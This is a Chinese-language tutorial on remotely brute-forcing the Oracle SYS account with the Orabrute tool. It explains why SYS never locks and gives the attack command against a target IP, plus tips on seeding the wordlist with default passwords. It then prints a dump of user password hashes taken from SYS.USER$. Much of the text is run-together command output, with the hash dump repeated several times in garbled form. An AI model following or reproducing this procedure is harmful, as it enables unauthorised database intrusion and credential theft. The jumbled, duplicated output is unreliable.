通過Orabrute暴力破解oracle密碼
1 標準的Oracle 密碼可以由英文字母,數字,#,下劃線(_),美元字符($)構成,密碼的最大長度為30 字符;Oracle 密碼不能以"$","#","_"或任何數字開頭;密碼不能包含"SELECT","DELETE","CREATE"這類的Oracle/SQL 關鍵字。
2 Oracle 的弱算法加密機制:兩個相同的用戶名和密碼在兩臺不同的Oracle 數據庫機器中,將具有相同的
哈希值。這些哈希值存儲在SYS.USER$表中。可以通過像DBA_USERS 這類的視圖來訪問。
3 Oracle 默認配置下,每個帳戶如果有10 次的失敗登錄,此帳戶將會被鎖定。但是SYS 帳戶在Oracle 數
據庫中具有最高權限,能夠做任何事情,包括啟動/關閉Oracle 數據庫。即使SYS 被鎖定,也依然能夠訪問
數據庫。
由前面的基礎知識3,可以得知選擇遠程破解Oracle 的最好帳戶是SYS,因為此帳戶永遠有效。在Oracle10g以前的版本在安裝的時候并沒有提示修改SYS 的默認密碼,Oracle10g 雖然提示修改密碼了,但是并沒有檢查密碼的復雜性。
可以使用Orabrute 工具來進行遠程破解,在使用這個工具的時候,需要系統提前安裝好Sqlplus,該工具的
原理很簡單,就是不停的調用Sqlplus 然后進行登錄驗證,帳戶選擇的是SYS,密碼則為password.txt 中的密碼單詞。只要登錄成功,就會調用selectpassword.sql 腳本抓取出在SYS.USER$表中的其他用戶的哈希值,然后退出程序。這里有個注意的地方,當第二次運行Orabrute 的時候,需要刪除或移動同目錄下的前一次運行Orabrute 時生成的thepasswordsarehere.txt 和output.txt 文件。
Orabrute 的下載地址http://www.ngssoftware.com/research/papers/oraclepasswords.zip
Orabrute 的官方文檔http://www.ngssoftware.com/research/papers/oraclepasswords.pdf#p#
Orabrute 的使用方法為:
D:\soft\oracle\Orabrute>orabrute Orabrute v 1.2 by Paul M. Wright and David J. Morgan: orabrute D:\soft\oracle\Orabrute> |
Orabrute 的破解速度比較慢,建議在password.txt開頭加上諸如change_on_install這樣你認為可能的密碼。
D:\soft\oracle\Orabrute>orabrute 172.19.111.37 1521 orcl 2000 Orabrute v 1.2 by Paul M. Wright and David J. Morgan: orabrute SYS/change_on_install@172.19.111.37:1521/orcl" as sysdba @selectpassword.sql NAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A PUBLIC CONNECT RESOURCE DBA SYSTEM D4DF7931AB130E37 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE EXP_FULL_DATABASE IMP_FULL_DATABASE NAME PASSWORD ------------------------------ ------------------------------ OUTLN 4A3BA55E08595C81 RECOVERY_CATALOG_OWNER AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE OEM_MONITOR HS_ADMIN_ROLE TRACESVR F9DA8977092B7B81 WDEVELOPER AURORA$JIS$UTILITY$ 000001501983169 OSE$HTTP$ADMIN 000001198644021 AURORA$ORB$UNAUTHENTICATED -000000728729637 NAME PASSWORD ------------------------------ ------------------------------ TIMESERIES_DEVELOPER TIMESERIES_DBA CTXAPP TOAD 361001117A542AC1 DBSNMP E066D214D5421CCC WACOS 1AD491DE05C669FB UTCORE 9C5CB992189E20D9 NMS 5E9DEFE765774DC1 JAVA_ADMIN JAVA_DEPLOY SCHEDULER_ADMIN NAME PASSWORD ------------------------------ ------------------------------ DIP CE4A36B8E06CA59C QUEST_SL_USER TSMSYS 3DF26A8B17D0F29F OEM_ADVISOR JAVAUSERPRIV JAVAIDPRIV JAVASYSPRIV JAVADEBUGPRIV GATHER_SYSTEM_STATISTICS LOGSTDBY_ADMINISTRATOR GLOBAL_AQ_USER_ROLE GLOBAL NAME PASSWORD ------------------------------ ------------------------------ UTNEW C686642569070067 _NEXT_USER TC_ADMIN_ROLE TC_MGR_ROLE TC_LDR_ROLE 49 rows selected. NAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A PUBLIC CONNECT RESOURCE DBA SYSTEM D4DF7931AB130E37 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE EXP_FULL_DATABASE IMP_FULL_DATABASE NAME PASSWORD
RECOVERY_CATALOG_OWNER AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE OEM_MONITOR HS_ADMIN_ROLE TRACESVR F9DA8977092B7B81 WDEVELOPER AURORA$JIS$UTILITY$ 000001501983169 OSE$HTTP$ADMIN 000001198644021 AURORA$ORB$UNAUTHENTICATED -000000728729637 NAME PASSWORD ------------------------------ ------------------------------ TIMESERIES_DEVELOPER TIMESERIES_DBA CTXAPP TOAD 361001117A542AC1 DBSNMP E066D214D5421CCC WACOS 1AD491DE05C669FB UTCORE 9C5CB992189E20D9 NMS 5E9DEFE765774DC1 JAVA_ADMIN
NAME PASSWORD
QUEST_SL_USER TSMSYS 3DF26A8B17D0F29F OEM_ADVISOR JAVAUSERPRIV JAVAIDPRIV JAVASYSPRIV JAVADEBUGPRIV GATHER_SYSTEM_STATISTICS LOGSTDBY_ADMINISTRATOR GLOBAL_AQ_USER_ROLE GLOBAL NAME PASSWORD ------------------------------ ------------------------------ UTNEW C686642569070067 _NEXT_USER TC_ADMIN_ROLE TC_MGR_ROLE TC_LDR_ROLE 49 rows selected. NAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A PUBLIC CONNECT RESOURCE DBA SYSTEM D4DF7931AB130E37 SELECT_CATALOG_ROLE EXECUTE_CATALOG_ROLE DELETE_CATALOG_ROLE EXP_FULL_DATABASE IMP_FULL_DATABASE NAME PASSWORD ------------------------------ ------------------------------ OUTLN 4A3BA55E08595C81 RECOVERY_CATALOG_OWNER AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE OEM_MONITOR HS_ADMIN_ROLE TRACESVR F9DA8977092B7B81 WDEVELOPER AURORA$JIS$UTILITY$ 000001501983169 OSE$HTTP$ADMIN 000001198644021 AURORA$ORB$UNAUTHENTICATED -000000728729637 NAME PASSWORD ------------------------------ ------------------------------ TIMESERIES_DEVELOPER TIMESERIES_DBA CTXAPP TOAD 361001117A542AC1 DBSNMP E066D214D5421CCC WACOS 1AD491DE05C669FB UTCORE 9C5CB992189E20D9 NMS 5E9DEFE765774DC1 JAVA_ADMIN JAVA_DEPLOY SCHEDULER_ADMIN NAME PASSWORD ------------------------------ ------------------------------ DIP CE4A36B8E06CA59C QUEST_SL_USER TSMSYS 3DF26A8B17D0F29F OEM_ADVISOR JAVAUSERPRIV JAVAIDPRIV JAVASYSPRIV JAVADEBUGPRIV GATHER_SYSTEM_STATISTICS LOGSTDBY_ADMINISTRATOR You will need to delete or move thepasswordsare.txt file befor e running again. D:\soft\oracle\Orabrute> |
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